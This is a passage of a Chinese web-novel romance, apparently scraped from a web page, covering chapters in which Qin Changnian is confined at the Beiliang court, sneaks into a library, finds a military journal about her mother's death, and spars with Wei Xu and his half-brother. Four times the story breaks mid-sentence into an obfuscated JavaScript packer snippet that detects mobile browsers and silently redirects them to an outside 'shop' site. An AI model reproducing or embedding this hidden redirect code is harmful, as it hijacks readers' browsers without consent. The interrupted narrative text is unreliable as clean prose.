女将军就是这种气质吧,太帅了,连讲话都如此不拘一格,少主都敢骂。苒儿更加钦佩这位小姐。 书房里,挑灯办公的隗絮打了个大大的喷嚏:“谁在骂我。” 属下将一打一打的册子送进来,摞在桌上,不禁吓了一跳。难道少主已经神通广大到在心里骂他,他都能听见了。 近几日,为了配合少主的日程,整个承韵宫的作息都改了,他们下值的时间越来越晚,免不得在心里抱怨几句。 现在少主一日三餐的时间留得格外久,白天还要腾出时间给少主“散步”。这边少主书文看到一半,忽就站起来:“我有事出去一趟。” 承韵宫就这么大,里里外外的侍从都会互通消息。少主每每有事,不过是跑到秦小姐房间去,偷看一眼,问苒儿几句话。 “现在少主怎么处理事务到这么晚,北凉最近这么乱吗?”门外的侍卫偷偷聊天。 “哎呀,听说今天少主又跑到秦小姐那边去,在门口看了两个时辰呢。” “两个时辰?这是被下了蛊吧。”侍卫惊讶地长大了嘴,他不理解,要不说他不是少主呢。 少主的心思你别猜。 承韵宫最近还掀起了一股风气,从各处寻来的新奇玩意、珠钗宝簪,通通往秦小姐那里送。秦小姐的房里都快要堆满了。 隗絮又一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044040|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假装路过秦常念的房间门口,恰逢秦常念推开房门,被抓了个正着。 隗絮板着脸,将袖子甩到身后,问道:“我命人送来的东西你可收到了。” 秦常念看了一眼房间,很无语。屋内大大小小的箱子堆叠成山,你难道看不到吗,偏生多此一举来问。 “我都不喜欢。” “我没问你喜不喜欢。”隗絮丢下一句话,背着手走了。 少主真不会喜欢人,他怎么能一厢情愿地送礼物呢。苒儿在心底里默默给少主打了个低分,难怪你追不到秦小姐呢。秦小姐见过的世面大着呢,你送些别人不想要的东西,人家自然不想理你。 月黑风高的夜晚,隗子舟再一次翻进了承韵宫的院子。 “听说哥哥送了许多奇珍异宝给姐姐,姐姐怎么看起来不太开心的样子。” “隔靴搔痒罢了。”秦常念坐在房檐上数星星。 她现在长进了,不用求人,自己一个轻功就上来。况且,以前她能求的人,现在也不想听她的了。 秦常念叹了口气,双手撑在身后。 “姐姐,我有好消息要说给你听,保证姐姐听了喜笑颜开。”隗子舟站在树下小声喊道。 “上来说吧,这里风景好。” “我?姐姐,不是我不想上去,这实在太高了。”隗子舟很为难的样子。 “你不是每次都是翻墙进来的吗?” “那墙多高,屋檐多高。可不能同日而语。” 秦常念用手指往侧边一点,隗子舟顺着她指的方向看过去,是一架梯子。 隗子舟看了看秦常念,又看了看梯子,最终决定妥协,哼哧哼哧地将梯子搬过来爬,往上爬。 “哎哟,可累死我了。”隗子舟好不容爬上去,喘着气,用手拍着胸脯。 “你想到办法了?”秦常念可没空看他这些表演,单刀直入地切入正题。 “当然,姐姐要想出去,必定得先熟悉地形。北凉王宫的构造并不规则,内里弯弯绕绕,唯有藏书阁地势最高,看得最远,而且藏书阁位于四通八达的中心地带,姐姐若要出去,是必定绕不开的。” “那走吧。”秦常念一个飞身,下了房檐。 “姐姐,你先听我说完。”隗子舟比划着,还想说些什么。 “边走边说吧。”秦常念已经开始往前走,“再不走,一会你哥哥办完公务,回院子里,抓到你,你可就死定了。” 隗子舟已经小心翼翼地开始下梯子,也没人告诉我大小姐的性子这么急啊,到底是谁求谁办事啊。 太帅了秦小姐,谁都能命令得动。从少主到逸侯,都逃不出她的手掌心。苒儿眼睛里都冒出了星星,撩起衣摆,跟着秦常念就要翻墙。 “你留在这。”秦常念看了她一眼,苒儿正笨拙地在思考该把哪只腿先架到墙上。 “啊?小姐,奴婢也想去帮您。”苒儿很失落的样子,自己被嫌弃了。 “你留在这里替我们望风,若是少主要过来找我,你先替我扛一扛。任务重大,全靠你了。”秦常念给她随手丢了个指令。 “是,小姐。”苒儿觉得热血沸腾,原来自己也是如此重要的一环,挺直了肩膀,退回院子里。 36. 成全 隗子舟带着秦常念抄小路,避开那些守卫的巡视。 “逸侯去一趟藏书阁也要这么躲躲藏藏?”秦常念跟着隗子舟拐进一条黑灯瞎火的路,忍不住问道。 “藏书阁是北凉收藏文件的重要地方,军事机密、律法典则、皇家秘史,应有尽有。因此看管特别严格。我一个人是畅通无阻,但是带着姐姐你可就不好说了。毕竟姐姐被哥哥带回来的事,已经在北凉传的沸沸扬扬了,保不齐有人能认出姐姐呢。”隗子舟一边探路,一边小声说道,“毕竟姐姐国色天香,令人过目难忘呢。” “那到了藏书阁,我该如何进去。”秦常念白了他一眼,问道。 “当然是翻窗户进去啊。巳時是藏书阁守卫换班的时候,两队人马交接,难免守卫松散,也正好可以掩盖我们的脚步声。” 秦常念本就觉得隗子舟没什么本事,净会吹嘘,没指望他真能送自己出去。此次,也只是想借他多了解一些信息,方便日后的安排。 隗子舟蹲在藏书阁侧面的树丛里,对着秦常念挥手。 秦常念很不情愿地走过去:“我们是要进藏书阁,不是蹲在树丛里装昆虫。” “嘘嘘嘘。”隗子舟着急地将食指放在嘴前,示意她小声点,“我先在这里和你说一下,看到左前方的窗户了吗,这是藏书阁唯一可以从外打开的窗户,一会我们就从这里进去。” 不到半柱香的时间,守卫果然走开换岗。 “就是现在。”隗子舟带着秦常念翻窗爬了进去。在里面七绕八绕,走到一扇隐蔽的小床前面蹲下。 听了半天动静,隗子舟小心翼翼地探出脑袋,确认四周没有守卫,才拍了拍秦常念的肩膀,示意她起来看:“北凉王宫有东南西北四个门,其中东门最靠近父王的福阳宫,把守最严格;南门常常用来运送军械物资,身份查验最为复杂;北门城门最高,机关密布,用作战备防守;西门是各个官员上朝进贡常走的门,人流量最大,只要有令牌,便可通行。” 秦常念顺着他的话,往外看去,果然四个方位各有一道门,形态各异,但都有重兵把守,戒备森严。从外观来看,并看不出他们功能的明显区别。 “所以对于姐姐而言,走西门是最轻易的。” “那令牌呢?”秦常念手一摊,眼神示意隗子舟。 “这个就得姐姐自己想办法了。不是我没有,而是我把令牌给了姐姐,万一姐姐逃跑不成被抓住了,一看,是我给的令牌,这可不就殃及池鱼了嘛。” 秦常念收回手,仔细地看着窗外。从高处一看便清晰了,北凉王宫许多路都是死路,看似路都是四通八达的,其实每个门只有一条路能到。秦常念迅速地在心里背下地形图。 “姐姐可还有什么问题要问。”隗子舟凑上来,不小心碰掉了一本书,厚重的书落在地板上,发出“咚”的一声响。 秦常念立马转过头来。 “什么声音?”门口的守卫立马被惊动,准备进来搜查。 秦常念被吓出了一身冷汗。 隗子舟推了秦常念一把,将她藏在书架边:“姐姐先在这藏着,我去引开守卫。”说罢,便大摇大摆地走了出去,“诶诶诶,我问你们啊,那本记录天下飞禽走兽的书放在哪来着,小爷我想找来看看。” 秦常念侧耳倾听,那几个人的脚步声越来越远,隗子舟应该是把他们引到另一边去了。她弯下腰,将刚刚掉落的那本书捡起来,竟是《荆州行军日志》。 荆州,那不是母亲平叛时战死的地方吗。大齐的行军日志怎么会在北凉。秦常念心里疑惑,将这本日志放在袖子里,从窗户翻走,回了承韵宫。 “少主大人,小姐正在沐浴,还请稍等片刻。”苒儿畏畏缩缩地扯了个谎,心里祈祷着秦小姐赶快回来。 她布置的任务太难了,她一个宫女,如何拦得住少主。再说了,秦小姐也没说,遇到这种紧急情况要怎么办,怎么通知她啊。 隗絮一把推开苒儿,就要进屋。 “少主大人,还请您稍等片刻,小姐很快就好了,不然奴婢先替您看一眼。”苒儿拼命挡在前面。 隗絮食指在空中一划,两个侍卫上来把苒儿按住。 秦常念从后门溜回房间,匆匆将行军日志藏在枕头底下,又用水打湿头发,在隗絮准备踹门之前,打开了门,她将衣领扯松少许,露出雪白的脖颈,佯装惊讶的样子:“少主抓我的丫鬟做什么,快放开她!” “你干什么去了!”隗絮吼道。 “我刚沐浴完,少主不会连这也不许吧。” “那好,脱了衣服给我检查一下。”隗絮一脚迈进房间,带上了门。 侍从们惊讶万分,这还是我们认识的那个少主吗,竟然说出如此的虎狼之词,要秦小姐脱衣服,果然是色令智昏啊。 隗絮一每走进一步,秦常念就后退一步,直到她的后背抵在墙上,退无可退。 “脱啊。”隗絮抬起一只手,撑在墙上,整个人的重心向前倾斜。 “流氓!”秦常念将衣领折好,紧紧地握住,生怕松开半分,便泄露了春光。 隗絮一把抓住秦常念的领子,将她往前提,惹得秦常念惊呼一句,下意识推了隗絮一下。但隗絮只是略微摇晃了一下,很快便稳住了身形:“我警告你,你现在是承韵宫的人,不要和那些不三不四的人混在一起,你不知道他们打的什么鬼主意。” “人心藏在肚子里,我当然看不清,就像我也没看清你一样,被你骗和被别人骗对我而言,也无分别!” “我何曾骗过你!” “你将我绑来北凉,便是违背了我的意愿!”秦常念的声音带着哭声。他和她竟然走到如今这一步,她好委屈。 隗絮盯着秦常念的眼睛,松开了手:“秦家眼下被李权执针对,谁都不敢保证会发生什么,我是为了你好,才将你带回来。” “正因为秦家风雨飘摇,我才要回去!我是秦家的女儿,我甘愿承受秦家的命运。你凭什么要我抛弃父亲、背叛漠北,待在北凉做你的金丝雀,独善其身!隗絮,你凭什么!你一厢情愿地为我好,你有没有问过我究竟要的是什么!”秦常念反抓住隗絮的衣领,歇斯底里地喊道。 “我不想管你想要什么,总之我要你活着。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050108|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦常念看着眼前这个和当初那翩翩少年郎、惹人心疼的质子判若两人的少主,眼泪夺眶而出,整个身子都脱力:“隗絮,放过我吧,我们到最后就是兰因絮果,就在这里了断吧。你我都不要再执着。” “兰因絮果?呵。”隗絮冷笑一声,“所谓相爱也不过是一场执着!秦常念,你给我听好了,我想要的东西,我一定会得到。所以,你趁早死了这条心吧,我不可能放你走的。” “不要……”秦常念泪流满面,“不要,求你了,你放我走吧,求你了,若是父亲真被李权执针对,出了事情,我可怎么办。求你了,隗絮。” 这是秦常念第一次如此低声下气地求一个人,她将面子放下、尊严放下,将自己放下。 看在我们曾经相爱过一场的份上,成全我吧。 “来人,将秦小姐禁足。”隗絮没有回答,转身就走,还在门口增派了四个侍卫。 秦常念眼泪糊了一脸,模模糊糊地看见隗絮离去的背影,无力地瘫倒在床上。 “我还有一些资料要查,你们先去别处看看吧,别跟着我了,怪不自在的。”隗子舟将那些守卫打发走,就走回秦常念藏身的书架后面,人却已经没了。 他笑嘻嘻的神色立刻被凌厉的表情代替,像换了一个面具一样,大步流星地走出去。 “秦小姐还在里面吗?”守卫见隗子舟一个人出来了,拿不准接下来该如何办,斗胆问道。 “跑了。”隗子舟答道,“她比我想象中要谨慎很多,你们切勿打草惊蛇,这些时日,她若是来藏书阁,你们不要抓她,及时向我汇报即可。另外,侧面的那扇小窗不要封死。” 隗子舟想,要先建立和她的信任,才能抓到她的马脚。 “是,逸侯。” 隗子舟忽然又想到了些什么:“最里面那个架子,掉在地下的那本书,你们捡起来了吗?” “回逸侯的话,没有,我们并未巡视到那边,怕惊动了秦小姐。” 隗子舟想起那本消失的书,这么说来,秦常念是将那本书带走了。 “你们去查一下,那一排缺了哪一本书。”莫非正好掉下来本秦常念需要的资料,她这么快就出手了。隗子舟在心里想着。 隗子舟刚回到自己的德信宫,就看到隗絮带着一队人马在门口等着。他迎上去:“哥哥找我有事?派人来传一声,我过去不就行了,还劳烦哥哥跑一趟。” “你从哪回来?”隗絮问道,打量着隗子舟。 隗子舟挥了挥手上拿着的书:“刚从藏书阁回来,近来对飞禽走兽来了兴致,去找了本书来看。怎么,哥哥也有兴趣?” “你又跟秦常念说了什么。” “秦小姐?那不是你承韵宫里养着的美人姐姐嘛,我都没见过她,哥哥是要介绍我们认识一下吗?”隗子舟饶有兴致地问道。 “离她远一点,她有任何闪失,你负不起这个责任。”隗絮说完,便转身离开。 “本来对姐姐没兴趣的,哥哥这么一说,我反而好奇了,究竟是何等的绝色佳人,让哥哥放在心尖上护着。”隗子舟歪斜地站着,腿一晃一晃的。 37. 权术 大齐皇宫中,李权执在大殿上叩首:“父皇,秦家有异心,不得不罚。” “瑞王殿下,可不能空口白话,就治一位将军的罪。”李欲站出来。 “秦家千金秦常念在我的手上劫人,若她没有横插一脚,此时我已经带着质子回来了。”李权执立刻道。 “军营死了人,瑞王殿下带人去抓了秦远,整个漠北的人都知道。那瑞王殿下带回来的,应该是秦远,怎么又变成隗絮了呢?瑞王殿下的故事似乎没说全。”李欲步步紧逼。 “那是因为,因为,其中很多变数。”这个故事里,李权执想要隐瞒的事情太多了。他要的是秦家的兵权,自然是要把故事往不利于秦家的方向讲。若是什么都说了,疑点反而多了起来。 “太子说得有道理。瑞王,你把事情从头到尾讲一遍。”皇上开口了。 “……是,父皇。”李权执被逼得没办法,只能把后面隗絮来自首种种事情都说了。 事情一说完,大殿上便传出了小声的议论。大家都很怀疑这个故事,怎么听怎么觉得蹊跷。 李欲环顾四周,嘴角勾了一下:“按照瑞王殿下的故事,秦远被抓了,隗絮来救他。” “隗絮不是来救他的!”李权执就知道大家会这样推测,着急地解释。 “那他是来送死的?”李欲反问完,没给李权执回答的时间,接着说道。 “一个质子,爱上了镇北将军的大小姐,为她豁出性命,来救她父亲;一个小姐,爱上了一个质子,不惜违抗命令,和皇子动手,半道救人。最后,这个质子将这个小姐抓回去做人质,并借她的性命和将军谈判。”李欲一甩,展开一封书信,是秦远亲笔写的。 字字句句,皆是恳求太子殿下帮他。 “末将小女常念,被北凉挟持,关押监禁,性命堪忧。北凉少主亲赴议和,然令我等退兵,三月之内不再主动征伐。末将已经领命,理当征讨北凉;但末将亲人皆逝,唯留一女,是末将在这世上唯一的牵挂。末将斗胆求问太子殿下,可有法子保住小女。若实在无法,末将愿以性命一搏,攻入北凉,救出小女。若是末将不幸战死,还请太子殿下看在末将生死之托的份上,替末将关照小女。末将不胜感激。” 秦远的信,字字真心,在场的人无不为之动容。而且信中之托,不难看出,漠北和北凉针锋相对、局势紧张。秦小姐身陷囹圄、等待救援,哪里有那种厮混勾结、爱上敌人的内鬼。 “现在,大小姐和质子之间那奋不顾身、离经叛道的爱情,瑞王殿下还相信吗?”李欲将那封信递到李权执手上。 整个大殿上一片哗然,是啊,如果这爱情是真的,秦小姐怎么会在北凉受尽委屈;如果这爱情是假的,隗絮一开始为什么要去救秦远。这是个从头到尾都自相矛盾的故事。 “我不相信。”秦常念剥了个橘子,掰成两半,塞了一半到苒儿嘴里,堵住她喋喋不休的话语。 “小姐…唔…真的,奴婢没有说谎。”苒儿使劲嚼着,尽可能快地咽下橘子。 “少主对您上心,那是看得到的。他日日都来向奴婢询问小姐的情况呢,吃得好不好、睡得香不香、有没有提过想要什么。他真的喜欢您。” 秦常念掰了一片橘子放进嘴里:“爱一个人不是这样去爱的。不能以爱为名,困住另一个人的人生。” “我知道小姐想家了,想回去。但是少主将您留在这里一定有他的苦衷。爱一个人,就会想保护她,让她不受伤。” 秦常念笑了一下,调皮地开了个玩笑:“你又知道了?怎么,你爱过啊。” 苒儿的脸噌地就红了,像熟透的蕃茄:“我,我,我,我话本上看的,小姐莫要打趣我了。” “好好好。”秦常念笑得更开心了。 隗絮在门外听着,光是秦常念的笑声,都让他的心忍不住砰砰跳。 下人将晚膳端过来,见隗絮还没进去,有些犹豫不知道该不该现在布菜。隗絮接过托盘,比了个噤声的手势,让人下去,自己端着菜在门口等,并没打扰里面女孩的开心。 他就想多听一会,多听一会女孩的幸福。 “那小姐是不喜欢我们少主吗?”苒儿问道。 秦常念从一开始就没停过的剥橘子的手终于停了下来,门外的隗絮也屏住了呼吸,心脏都提到了嗓子眼,等待秦常念的回答。 “倒也不是。”秦常念很坦诚。 “但本小姐的自由啊,千金不换。”秦常念很潇洒地晃了一下脑袋,眯起一只眼睛,对着桌上的果篮瞄准,一把将橘子扔进去,“好球!” “哇,小姐真厉害!样样全能!”苒儿在边上鼓掌叫好。 等到里面的声音小了下来,隗絮才敲了门。 苒儿忙起身去开门,一见是隗絮,吓了一跳,赶紧弓着身子上去端菜:“少主大人,您怎么亲自送来,让奴婢去做就可以了。” “不碍事。”隗絮也帮着端了一些摆到桌上,余光扫过秦常念,她刚才快乐的表情已经一扫而空,换上一副严肃的面孔,沉默地看着隗絮和苒儿布菜。 “你见过隗子舟了?”隗絮打了一碗汤,加了些葱花,摆到秦常念的面前。喝汤喜欢现加葱花,是秦常念的习惯。 秦常念喝了一口汤:“没有。” “他跟你说什么了。”隗絮继续问道。 秦常念抬起眼皮,看着他:“我没见过他。你日日派人守着我,我现在可是连承韵宫的大门都出不去,能见什么人。” 隗絮并不打算戳破她,顿了顿道:“隗子舟是个心思狡猾的,无论他说了什么,你都不要相信。” “少主大人以为,逸侯和我说了什么?”秦常念夹了口菜,漫不经心地说道。 “说他会帮你回去。”秦常念不是一个容易哄骗的人,她有自己的行事准则。隗絮认为,她能同意和隗子舟一起溜出去,隗子舟一定拿出了她不能拒绝的筹码。 秦常念的筷子停了一下,嗤笑了一声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067861|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “少主大人倒是看得通透。” 秦常念紧盯着隗絮,眼睛都不眨一下,她已经很久都没有这样看过隗絮了。隗絮,你比谁都清楚我想要的是什么,为什么就是不肯给我呢。 “他性子狡诈,虽然面上一副人畜无害的样子,但心里的鬼主意比谁都多,他说的话,你一句都不要信。”隗絮认认真真又重复一遍。 “可他叫我姐姐诶,看起来很单纯的样子,应该不会骗人吧。”也许是受到苒儿那番话的影响,秦常念今天就是故意想逗逗隗絮。她眨巴着眼睛,故作出一副苦恼的样子。 “秦常念,你莫要被他的外表欺骗了!你好歹也是将门之后、大家闺秀,该不会一张有几分异域风情的脸就能把你骗走吧!”隗絮果然急了。 “诶,他是你弟弟,为什么你们长得如此不像?”秦常念好奇地问道,一下子话题又跑偏了,但她惯来如此。 “……因为我们不是同一个妈生的。”隗絮心里再生气,都老老实实地回答。 “隗子舟的母亲是北凉赤狄人。父王为了顺应民心,在北凉建国后,纳她为妃,赐名珞妃。” “那珞妃现下也住在宫中?” “她死了。”隗絮停顿了一下,继续说道,“在隗子舟出生的第三年,母后生辰,举行围猎,珞妃为赤狄人,最擅长骑马射箭,以前年年都会参加,常常力压男子,以压倒性的优势夺魁。但怀了隗子舟后,便没再参加过。那次围猎是她时隔四年,再度参加。但围猎途中出了意外,等找到她的时候,她倒在地上,胸口正中插着一把箭。” 秦常念没想到北凉还有这样的往事,一时间呆愣了,嘴比脑子快,问道:“那是安蓉王后杀的吗?”话出了口,才想到自己是在说隗絮母亲,急忙说道,“不好意思,我不该妄自揣测的,那个……” “大家都觉得是。”隗絮忽然开口回答了这个问题。 秦常念一时间不知道该说什么,有些尴尬地拿着筷子,定在原地,后悔自己刚刚为什么要问那样的问题。 “我也觉得是。”隗絮继续说道,平稳的语气里有一丝不易发觉的颤抖,但很快就被压住,“查了很久,什么证据也没有查到。珞妃的死就被标为宫里的疑案,只有那天在围猎场负责保护大家的侍卫和总管这件事情的公公受到了责罚。” 珞妃诞下有赤狄血脉的皇子,日后一定会受到大家的拥护。 和隗子舟比起来,不要说隗絮了,就连安蓉王后、贤王,都算是外人。汉人来此建邦,初代的君王也就罢了,难道以后世世代代都要由汉人统治吗。赤狄人一定心中早有想法。安蓉王后担心隗絮少主位置不保,出手杀了隗子舟的母亲。隗子舟尚且年幼,若无人替他出谋划策、教养铺路,日后也没能力夺得少主之位。 所以安蓉王后要出手,而贤王默许了这一切的发生。这件事情才会查不出幕后主谋,草草结案、不了了之。 权利,到哪里都是争夺的中心。 权利会吃人。 38. 错位 秦常念打了一个大大的哈欠,却仍然没放下手中的书。短短几天的时间,她已经将《荆州行军日志》翻来覆去看了好几遍了。还让苒儿找来笔墨纸砚,将其中她觉得重要的部分抄录下来。 这本书的重中之重,就是对那场守城之战的记述。 广运二年,荆州叛乱。时叛军三千人攻城,守军两千人,后增援两千人。激战半月,荆州陷落。 秦常念用手指轻抚过那一行文字,似乎能摸到母亲温暖的手掌。 也就是说荆州原本就有两千人镇守,母亲又带去了两千精锐。荆州地势崎岖,附近有山川丘陵做天然的屏障,本就易守难攻。在双方兵力相当,甚至守方还略多的情况下,荆州那一战怎么可能会输。 不对啊,秦常念仔细回想着,荆州的那一战,应当是赢了。其后从未听说过其他将领去收复荆州的消息。 况且母亲战死,以身守城,皇上赞其丹心碧血,赏秦家黄金百两,拔擢秦远。后因秦远自请戍边,封为镇北将军。 为什么在《荆州行军日志》中,荆州陷落了? 这本书是何人所著,又为何出现在北凉? 秦常念的心中浮出很多疑虑。 侧边的窗户突然传出了击打声,秦常念警觉地把书收起来,塞到枕头底下,走到窗边,仔细观察,但并未打开窗户。 “姐姐……是我,让我进去呗。”隗子舟小声说道。 秦常念将窗子推开一个小口,就看到隗子舟一脸期待的样子,还用手指指了指秦常念的房间。 “你到屋子后的墙边上等一会。”秦常念并不打算让他进来,朝外面大喊一句,“苒儿,我要沐浴!” “小姐,来了。”苒儿推开门跑了进来,“今日这么早就沐浴吗,那我现在去放水,请小姐稍等一会。” 秦常念打开窗户,就要翻出去:“你假装替我沐浴,我有些事,出去一趟,就在后墙,有事来找我。” “小姐,小姐!”苒儿看着秦常念利落地动作,不禁在心里哀嚎,如果又发生和上次一样的事情怎么办,少主忽然杀过来怎么拦,你倒是教教我啊,小姐。 秦常念绕到屋后,看见隗子舟靠着墙根坐着,还在拔地上的牵牛花玩。 “我一点花草都让你拔干净了。”秦常念倚过去,靠在墙上。 “喏,送给姐姐的。”隗子舟灵巧地将牵牛花绑在一起,系了个结,递给秦常念,“听说姐姐最近被禁足了,是不是很无聊,待在承韵宫里干什么呢?” 秦常念不接,抬头看着天说道:“没事干,我能有什么事干。” “藏书阁姐姐也没自己去一趟?” “没有。”秦常念低下头来,对上隗子舟怀疑的目光,笑了一下,“真没有,骗你干嘛。我怕溜出去多了,你哥哥起疑心,不方便以后的行动。” 隗子舟也笑了,他将牵牛花拿在手里转了转,又插回土里:“姐姐的功夫那么好,害怕被哥哥抓到。再说了,就算被抓到,哥哥也不会拿你怎么样啊。哥哥可心疼姐姐了。” 秦常念不置可否,看着隗子舟的动作说道:“你今日来就是来表演插花的?” “不可以吗?”隗子舟仰头看向秦常念,“我怕姐姐无聊,来帮你解解闷。” 秦常念想起白天的时候隗絮说的话,他是仗着有一张人畜无害的脸,心里的弯弯绕绕可多了去了。她确实看不穿隗子舟,但她知道,他绝不是为了逗她开心来的。 无视宫规、翻墙进来,就为了表演一个把花拧成不知道是麻花还是蝴蝶结的东西,这种事,在她认识的人里面,只有一个人做得出来。 就是那个连木剑都做得坑坑洼洼,手工能力为零的少主。 秦常念从回忆中回过神来,清了清嗓子:“那你这个做得没什么意思。我看也看了,先回去了。” “哎哎哎,姐姐,等一下,你性子怎么总那么急呢。”隗子舟赶紧从地上爬起来,拍了拍手上的土说道。 “顺便,我还给姐姐带来了重要的消息。” “你说。” 隗子舟忽然就卖起了关子,他环顾四周一圈,然后压低了声音:“这个消息可太重要了,是姐姐逃跑的绝佳机会。”然后对秦常念招招手,让她靠近一点,“可不能被别人听去了。” 秦常念将信将疑,但还是向他靠近一步,将耳朵送出去。 “一个月后,是安蓉王后的生辰,根据惯例,她一定会举办围猎。姐姐想办法参加,围猎人多,场地大,保不齐有些混乱,姐姐就可以趁那时候逃跑。”隗子舟在秦常念耳边说道。 秦常念听完以后,不禁想起隗絮告诉她的往事,隗子舟的母妃,就是死于围猎。她和隗子舟对视,隗子舟蓝色如大海般的眼眸并无变化。 深不可测如海洋,表面的风平浪静总是骗过人们,人们便不再去探究底下也许是怎样的波涛汹涌、惊涛骇浪。 隗子舟看着秦常念一动不动的样子,以为她不相信,忙补充道:“是真的,姐姐别不相信,今年的围猎我也会参加,到时候还能助姐姐一臂之力。” “你为何要帮我?”秦常念盯着隗子舟好一会,提出了心底里的那个疑问。 她与隗子舟素昧平生,第一次见面就是隗子舟偷偷溜来承韵宫,给她送蜜饯,告诉她,他能帮她。 天下熙熙,皆为利来。她不相信有人从见你的第一面,就是来全心全意的帮你的,他一定有自己的算计,自己的图谋。只是她暂时还不知道。 “我说过了,因为姐姐长得好看。”隗子舟很没正形地笑了一下,转身就要走。 秦常念当然是不接受这个答案的,她摇了摇头,看向墙角那一团可怜的牵牛花。 在隗子舟离开之前,她忽然叫住了他:“逸侯,也定是志在千里的。” 隗子舟猛然转过头来,对上秦常念清明的眼神。他沉默了一下,难得正经地挺直背脊,闷闷地开了口:“姐姐是大齐人,我不知道大齐来的质子是不是真的来做间谍,帮大齐探查北凉的机密的。所以,送姐姐走也是我想做的事情。姐姐走了,北凉也更安全些。” “谢谢。”秦常念看着隗子舟真诚的表情说道。 隗子舟似是没想到秦常念会这样回答,愣了一下,很快又反应过来:“姐姐和我之间,哪需要说谢谢啊。”随后便离开了。 隗子舟一回到德信宫,就诏来藏书阁侍卫班领——武凛。 武凛单膝跪在地上,恭敬地低下头道:“逸侯,藏书阁您说的位置,所有的书都在,并没有少。” 隗子舟挑了一下眉:“你确定?都仔细找过了?” “是的逸侯,卑职都一一确认过了,没有少。”武凛毫不迟疑地回答。 隗子舟头一点,让他下去。难道秦常念是怕她去过藏书阁,留下痕迹、被人发现,将那本书捡起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074756|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放回去了。若是如此,在那么紧急的情况下,她还能如此镇定,并且不声不响地完成,也真是不简单。隗子舟在心里想道。 承韵宫内,秦常念躺在床上,又睡不着,从枕头底下掏出那本行军日志,借着月光细细地看那封面。 母亲,我一定会把当年的事情查清楚。若您是被人算计,我一定为您报仇。秦常念在心里发誓道。 镇北将军府内,秦远一个人在院子里赏月喝茶。 难得休战一段时间,回到家里,怎么也那么凄凉。秦远喝了一口茶,瞬间皱紧了眉头:“这什么茶啊,真苦。” “秦将军,茶没换过,还是从前的那种。”子秋站在边上答道。 “噢,是嘛。”秦远放下茶盏,笑了笑,“可能是人太苦了,喝什么都觉得苦。” 子秋知道秦远心里挂念着秦常念,想了一会问道:“秦将军,不然我想办法去北凉王宫把大小姐救出来,就算豁出我这条命,我也在所不惜,只要能救大小姐。” 秦远立刻放下了茶杯:“你这说的什么话,隗絮将她带走了才好呢,眼下漠北形势动荡,瑞王年纪渐长,觊觎我们秦家的兵权,也是想和太子作对,帝京也不太平啊,我们秦家或多或少会受到牵扯。隗絮是个好孩子,品行端正,为人正直,又是真心喜欢常念。他将常念带走,我相信她一定是安全的。” 子秋这才明白,原来隗絮将秦常念带走是为了保护她,点了点头,不再说话。 “可是常念这孩子是个倔的,她认死理,可不一定会领隗絮的情。”秦远看着月亮笑了笑,转过头来对子秋说,“你去取纸笔来。” 承韵宫内,秦常念闲来无事,又在树下练剑,有一个招式有些模糊,她来回试了好几遍。 “是这样吗,还是这样的?”秦常念左右各试了一遍,怎么都觉得不是很流畅,停下来自言自语道。 再试一次吧,秦常念想了片刻,再次执起剑,屏气凝神,反身横摆,右手引剑,飞快地向前刺去。 一只手却揽住她的腰,化了她的力,另一只手握着她的手腕,带着她一个箭步平穿:“少了一步。” 秦常念微微分身,用余光向身侧看去。 隗絮扶着她腰的手没松开,勾手一挑,剑气汹涌,呼吸之间低声提醒道:“练剑要专心,小心伤到自己。”然后带着秦常念挽了个剑花,将刀收回。 “记住了吗?”隗絮问道。 “……眼睛记住了,手还没。”秦常念很诚实地回答。 隗絮扑哧地笑了:“那就多练,大小姐有不懂的就来问我,为大小姐答疑解惑,是在下的荣幸。” 一句话,将秦常念带回曾经在将军府做他学生的日子,跟他斗智斗勇、求他破坏规则的日子都恍若隔世。 秦常念忽然就有些低落了,抬起头来看着隗絮,在北凉,他的头发用白玉冠束起,身披黑金大氅。 